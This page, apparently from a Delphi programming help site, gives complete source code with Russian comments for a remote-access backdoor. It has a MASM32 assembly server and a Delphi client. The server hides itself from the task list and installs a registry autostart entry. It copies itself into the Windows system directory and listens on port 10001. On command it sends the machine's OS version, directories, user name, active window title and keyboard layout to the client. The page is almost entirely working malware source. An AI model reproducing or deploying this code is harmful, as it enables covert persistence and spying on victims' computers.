DelphiHelp.org

.486
.model flat,stdcall
option casemap:none
include \masm32\include\winmm.inc
include \masm32\include\windows.inc
include \masm32\include\masm32.inc
include \masm32\include\wsock32.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\advapi32.inc
include \masm32\include\shell32.inc
includelib \masm32\lib\shell32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\wsock32.lib
includelib \masm32\lib\masm32.lib
includelib \masm32\lib\advapi32.lib
includelib \masm32\lib\winmm.lib
; МОИ ФУНКЦИИ
WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD
; КОНСТАНТЫ
.DATA 
NilStr db " ",0 
WinVer1 db "Система сервера : Windows 32s",0
WinVer2 db "Система сервера : Windows NT",0
WinVer3 db "Система сервера : Windows 9x/ME",0
WinStr1 db "WINDOWS-каталог : ",0
WinStr2 db "TEMP-каталог : ",0
WinStr3 db "SYSTEM-каталог : ",0
WinStr4 db "Текущий пользователь : ",0
WinStr5 db "Имя компьютера : ",0
ActWin1 db "Заголовок активного приложения : ",0
ListFileStr000 db 13,10,0
ClassName db "DTR13Class",0
AppName db "DTR13",0
IconName db "TDIcon",0
kernel32 db "kernel32.dll", 0
rundll32 db "rundll32.exe", 0
ACDdis db "RegisterServiceProcess", 0
bkl db "\",0
RegStr001 db "HKEY_CLASSES_ROOT\",0
RegStr002 db "HKEY_CURRENT_USER\",0
RegStr003 db "HKEY_LOCAL_MACHINE\",0
RegStr004 db "HKEY_USERS\",0
DopLang1 db "Текущий язык : НЕ ОПРЕДЕЛЕН",0
DopLang2 db "Текущий язык : РУССКИЙ",0
DopLang3 db "Текущий язык : ENGLISH",0
StartupInfo STARTUPINFO <>
wsadata WSADATA <>
sin sockaddr_in <>
WM_SOCKET equ WM_USER + 100
AutoKeyName db "Software\Microsoft\Windows\CurrentVersion\Run\",0 ; Ключ автозапуска
DTrKeyName db "Software\Microsoft\DTr003\",0 ; ключ программы
AutoRegValue db "nbsession",0 ; переменная реестра автозапуска
AutoRegValue1 db "nb003.exe" ,0 ; файл программы
AutoRegValue2 db "SysValue",0 ; переменная реестра для порта
AutoRegValue3 dd 10001 ; Порт по умолчанию = 10001
; ПЕРЕМЕННЫЕ
.DATA?
hInstance dd ?
CommandLine dd ?
sock dd ?
client dd ?
BufStr0 db 6666 dup (?) ; Буфер отправки
BufStr1 db 6666 dup (?) ; Буфер приема
VerStr db 128 dup (?)
VerDD dd ? 
CommandStr db 30 dup (?)
CommandStr1 db 4096 dup (?)
CommandStr2 db 4096 dup (?)
CommandStr3 db 4096 dup (?)
pKey dd ?
Disp dd ?
ActWin dd ?
Lang dd ?
cmd dd ? 
cmd0 dd ?
Bufcmd dd ?
WinDir db 900 dup(?)
Port dd ?
DW_SIZE EQU 4
DWordSize dd ?
Temp dd ?
; Раздел кода
.CODE
start: 
; Выйти, если уже запущена
invoke FindWindow,0,addr AppName
cmp eax,0
jnz quit 
; Скрыть по "Alt"+"Ctrl"+"Del"
invoke GetModuleHandle, addr kernel32
or eax,eax
jz continue
invoke GetProcAddress, eax, addr ACDdis
or eax, eax
jz continue
push 1
push 0
call eax
continue:
; Получить значение порта из реестра
;порт=10001
mov Port,10001
;открываем ключ в реестре
invoke RegCreateKey, HKEY_LOCAL_MACHINE, addr DTrKeyName, addr pKey
.IF eax == 0 
; Читаем из реестра
mov eax, REG_DWORD
mov Temp, eax
mov DWordSize, DW_SIZE
invoke RegQueryValueEx, pKey, addr AutoRegValue2, NULL, ADDR Temp, addr cmd, addr DWordSize
.IF eax == 0
mov eax,cmd
.IF (eax > 0)
mov Port, eax
.ENDIF
.ELSE
; Если параметра нет, записываем порт=10001
invoke RegSetValueEx, pKey, addr AutoRegValue2, NULL, REG_DWORD, addr AutoRegValue3, DW_SIZE
.ENDIF
.ENDIF
invoke RegCloseKey, pKey
; Автостарт
invoke RegCreateKey, HKEY_LOCAL_MACHINE,addr AutoKeyName, addr pKey 
.IF eax == 0
invoke RegSetValueEx, pKey, addr AutoRegValue, NULL, REG_SZ, addr AutoRegValue1, sizeof AutoRegValue1
.ENDIF
invoke RegCloseKey, pKey
; Копируем прогу в WINDOWS\SYSTEM\
invoke GetSystemDirectory , addr WinDir, sizeof WinDir
invoke lstrcat,addr WinDir,addr bkl
invoke lstrcat,addr WinDir,addr AutoRegValue1
invoke GetModuleFileName,NULL,addr CommandStr1,sizeof CommandStr1
invoke CopyFile,addr CommandStr1,addr WinDir,FALSE
; Старт
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
quit: invoke ExitProcess,eax
;---------------------------------------
WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
LOCAL Ver: OSVERSIONINFO
; Создадим окно для обработки сообщений
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInstance
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,hInstance,addr IconName
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,WS_OVERLAPPEDWINDOW,500,400,100,50,NULL,NULL,hInst,NULL
mov hwnd,eax
; Показать окно (для отладки)
;invoke ShowWindow, hwnd,SW_SHOWNORMAL
;invoke UpdateWindow, hwnd
; Инициализация сокета
invoke WSAStartup,101h,addr wsadata
invoke socket,AF_INET,SOCK_STREAM,0
mov sock,eax
invoke WSAAsyncSelect,sock,hwnd,WM_SOCKET,FD_ACCEPT+FD_READ
mov sin.sin_family,AF_INET
invoke htons,Port
mov sin.sin_port,ax
mov sin.sin_addr,INADDR_ANY
invoke bind, sock,addr sin,sizeof sin
invoke listen,sock,15
; Получение версии m$ window$
mov Ver.dwOSVersionInfoSize, SizeOf Ver
invoke GetVersionEx, addr Ver
.IF Ver.dwPlatformId == VER_PLATFORM_WIN32s
invoke lstrcpy,addr VerStr, addr WinVer1
mov VerDD, 0
.ELSEIF Ver.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS
invoke lstrcpy,addr VerStr, addr WinVer3
mov VerDD, 1
.ELSEIF Ver.dwPlatformId == VER_PLATFORM_WIN32_NT
invoke lstrcpy,addr VerStr, addr WinVer2
mov VerDD, 0
.ENDIF 
; Обработка сообщений
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
DTRexit:
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL RezBool : DWORD
LOCAL I0 : DWORD
LOCAL I1 : LPDWORD
LOCAL SHFdop1 : FILEOP_FLAGS
LOCAL Temp1 : LPBYTE
LOCAL Temp2 : LPDWORD
.IF uMsg == WM_CREATE
.ELSEIF uMsg == WM_DESTROY
invoke closesocket,sock
invoke WSACleanup
invoke PostQuitMessage,NULL
; Сообщения от сокета 
.ELSEIF uMsg == WM_SOCKET
mov eax,lParam
; Соединение
.IF ax == FD_ACCEPT
shr ax,16
.IF ax == NULL
; При соединении отправим клиенту информацию о системе
invoke accept,sock,0,0
mov client,eax
invoke lstrcpy, addr BufStr0, addr NilStr
invoke rtrim, addr BufStr0, addr BufStr0
invoke lstrcat, addr BufStr0, addr VerStr
invoke send,client,addr BufStr0,sizeof BufStr0,0
invoke Sleep,10
.ENDIF
; Получения команды от клиента
.ELSEIF ax == FD_READ
; Обнулим буфер для получения
mov ecx,6666
mov edi,offset BufStr1
lll: mov byte ptr [edi],0
inc edi
loop lll

mov eax,wParam
mov client,eax 
; Получим команду и данные в BufStr1
invoke recv,client,addr BufStr1,sizeof BufStr1,0
.IF eax == SOCKET_ERROR
invoke recv,client,addr BufStr1,sizeof BufStr1,0
.ENDIF
.IF eax != SOCKET_ERROR
mov edi,offset BufStr1
invoke lstrcpy, addr BufStr0, addr NilStr
invoke lstrcat, addr BufStr0, addr ListFileStr000

; Полученная команда - "helo"
.IF (dword ptr [edi] == "oleh")
invoke lstrcat, addr BufStr0, addr VerStr
invoke lstrcat, addr BufStr0, addr ListFileStr000
; Получение каталога винды
invoke GetWindowsDirectory , addr WinDir, sizeof WinDir
invoke lstrcat, addr BufStr0, addr WinStr1
invoke lstrcat, addr BufStr0, addr WinDir
invoke lstrcat, addr BufStr0, addr ListFileStr000
; Получение системного каталога
invoke GetSystemDirectory , addr WinDir, sizeof WinDir
invoke lstrcat, addr BufStr0, addr WinStr3
invoke lstrcat, addr BufStr0, addr WinDir
invoke lstrcat, addr BufStr0, addr ListFileStr000
.IF (VerDD == 1)
; Получение временного каталога
invoke GetTempPath , 2048, addr WinDir
invoke lstrcat, addr BufStr0, addr WinStr2
invoke lstrcat, addr BufStr0, addr WinDir
invoke lstrcat, addr BufStr0, addr ListFileStr000
; Получение имени пользователя
invoke GetUserName, addr CommandStr1, I0
invoke lstrcat, addr BufStr0, addr WinStr4
invoke lstrcat, addr BufStr0, addr CommandStr1
invoke lstrcat, addr BufStr0, addr ListFileStr000
.ENDIF
; Получение активного приложения
invoke GetForegroundWindow
mov ActWin, eax 
.IF ActWin != 0 
invoke SendMessage, ActWin, WM_GETTEXT, 1024, addr WinDir
invoke lstrcat, addr BufStr0, addr ActWin1
invoke lstrcat, addr BufStr0, addr WinDir
invoke lstrcat, addr BufStr0, addr ListFileStr000
; Получение текущей языковой раскладки
invoke GetWindowThreadProcessId, ActWin, NULL
invoke GetKeyboardLayout, eax
mov Lang, eax
.IF Lang == 67699721
invoke lstrcat, addr BufStr0, addr DopLang3
.ELSEIF Lang == 68748313
invoke lstrcat, addr BufStr0, addr DopLang2
.ELSE
invoke lstrcat, addr BufStr0, addr DopLang1
.ENDIF
.ENDIF 
invoke send,client,addr BufStr0, sizeof BufStr0, 0
invoke Sleep,10 
jmp endREAD
.ENDIF
; РАЗДЕЛ ОБРАБОТКИ BufStr1, выполнения нужных действий
; и отправка сформированного BufStr0
endREAD :
.ENDIF
.ENDIF
.ELSEIF
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
END start 

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ScktComp, ComCtrls, ToolWin, StdCtrls, WinSock;

type
  TForm1 = class(TForm)
    Edit1: TEdit;
    Edit2: TEdit;
    Memo1: TMemo;
    Button1: TButton;
    ToolBar1: TToolBar;
    ToolButton1: TToolButton;
    ClientSocket1: TClientSocket;
    procedure ClientSocket1Connect(Sender: TObject; Socket: TCustomWinSocket);
    procedure ClientSocket1Disconnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure Button1Click(Sender: TObject);
    procedure ToolButton1Click(Sender: TObject);
    procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
    private
      { Private declarations }
    public
      { Public declarations }
end;

// Типы для преобразования адреса
type
  TaPInAddr = array [0 .. 255] of PInAddr;
  PaPInAddr = ^TaPInAddr;

var
  Form1: TForm1;
  constat: Boolean = false;
  ph: PHostEnt;
  pptr: PaPInAddr;
  DopStr: string;
  I: Integer;

implementation

type
  TRecvThread = class(TThread) // процесс обработки списка
  private
    procedure CommandRecvThread;
  protected
    procedure Execute; override;
  end;
  TLstRecv = ^ TListRecv; // список
  TListRecv = record
  BufIn: array[1 .. 6666] of Char;
  Point: TLstRecv;
end;

var
  // Указатели на начало и конец списка
  LstRbeg,LstRend: TLstRecv;
  RecvThread: TRecvThread;

{$R *.DFM}

// Соединение
procedure TForm1.ClientSocket1Connect(Sender: TObject; Socket: TCustomWinSocket);
begin
  constat := true;
  with Form1 do
  begin
    Memo1.Visible := true;
    ToolBar1.Visible := true;
    Button1.Caption := 'DISconnect';
  end;
end;

// Рассоединение
procedure TForm1.ClientSocket1Disconnect(Sender: TObject; Socket: TCustomWinSocket);
begin
  constat := false;
  with Form1 do
  begin
    Caption := 'КЛИЕНТ';
    Memo1.Visible := false;
    ToolBar1.Visible := false;
    Button1.Caption := 'Connect';
  end;
end;

// Ошибка
procedure TForm1.ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
  Form1.ClientSocket1Disconnect(Sender, Socket);
end;

// Подготовка соединения и инициализация сокета
procedure TForm1.Button1Click(Sender: TObject);
begin
  if not constat then
  begin
    try
      Form1.ClientSocket1.Port := StrToInt(Form1.Edit2.Text);
      DopStr := Form1.Edit1.Text;
      //преобразование имени сервера в IP-адрес
      if inet_addr(PChar(Form1.Edit1.Text)) <= 0 then
      begin
        ph := gethostbyname(PChar(Form1.Edit1.Text));
        if ph = nil then
        begin
          Application.MessageBox(PChar('Неизвестный адрес "' + Form1.Edit1.Text + '" или компьютер с указанным именем находится off-line.'), 'СООБЩЕНИЕ', mb_Ok + mb_TaskModal + mb_IconAsterisk);
          exit;
        end;
        DopStr := '';
        pptr := PaPInAddr(ph^.h_addr_list);
        I := 0;
        while pptr^[I] <> nil do
        begin
          DopStr := inet_ntoa(pptr^[0]^);
          inc(i);
          if DopStr <> '' then
            if Application.MessageBox(PChar('По указанному Вами пути найден IP-адрес "' + DopStr + '". Соедениться по этому адресу?' + #13 + #13 + ' В случае если не будет найдено других IP-адресов, произойдет соединение по последнему полученному.'), 'DNS', mb_YesNo + mb_IconQuestion + mb_TaskModal) = idYes then
              break;
        end;
      end;

      if DopStr = '' then
      begin
        Application.MessageBox(PChar('Неизвестный адрес "' + Form1.Edit1.Text + '" или компьютер с указанным именем находится off-line.'), 'СООБЩЕНИЕ', mb_Ok + mb_TaskModal + mb_IconAsterisk);
        exit;
      end;

      // запуск процесса обработки очереди
      LstRbeg := nil;
      LstRend := nil;

      try
        RecvThread := TRecvThread.Create(false);
      except
        Application.MessageBox('Ошибка создания процесса обработки полученных сообщений. Программа не будет реагировать на полученные сообщения. Выйдите из программы и попробуйте запустить заново.', '', mb_Ok + mb_TaskModal + mb_IconStop);
      end;

      Application.ProcessMessages;
      ClientSocket1.Address := DopStr;
      ClientSocket1.Active := true;
      Form1.Caption := 'КЛИЕНТ connect [' + Form1.Edit1.Text + ']';
    except
      ClientSocket1.Active := false;
    end;
  end
  else
    ClientSocket1.Active := false;
end;

// Послать команду серверу
procedure TForm1.ToolButton1Click(Sender: TObject);
begin
  Form1.ClientSocket1.Socket.SendText('helo');
end;

// Получение команды
procedure TForm1.ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
var
  LstRdop1  TLstRecv;
begin
  RecvThread.Suspend;
  New(LstRdop1);
  FillChar(LstRdop1^.BufIn,6666,0);
  Socket.ReceiveBuf(LstRdop1^.BufIn, 6666);
  LstRdop1^.Point := nil;

  if LstRend <> nil then
  begin
    LstRend^.Point := LstRdop1;
    LstRend := LstRdop1;
  end
  else
    LstRend := LstRDop1;

  if LstRbeg = nil then
    LstRbeg := LstRDop1;

  RecvThread.Resume;
end;

// Инициализация процесса обработки очереди
procedure TRecvThread.Execute;
begin
  // цикл обработки очереди
  while not RecvThread.Terminated do
  begin
    Application.ProcessMessages;
    Synchronize(CommandRecvThread);
    Sleep(100);
  end;
end;

// обработка очереди
procedure TRecvThread.CommandRecvThread;
var
  LstRdop: TLstRecv;
  DopS: string;
label
  ex;
begin
  LstRdop := LstRbeg;
  if LstRdop <> nil then
  begin
    try
      DopS := '';
      DopS := LstRdop^.BufIn;
      // высветить в Memo1
      if trim(DopS) <> '' then
        Form1.Memo1.Lines.Add(DopS + #13);
      ex:
    finally
      if LstRDop^.Point <> nil then
        LstRbeg := LstRDop^.Point
      else
        LstRbeg := nil;

      if LstRbeg = nil then
        LstRend := nil;

      Dispose(LstRdop);
    end;
  end;
end;

end.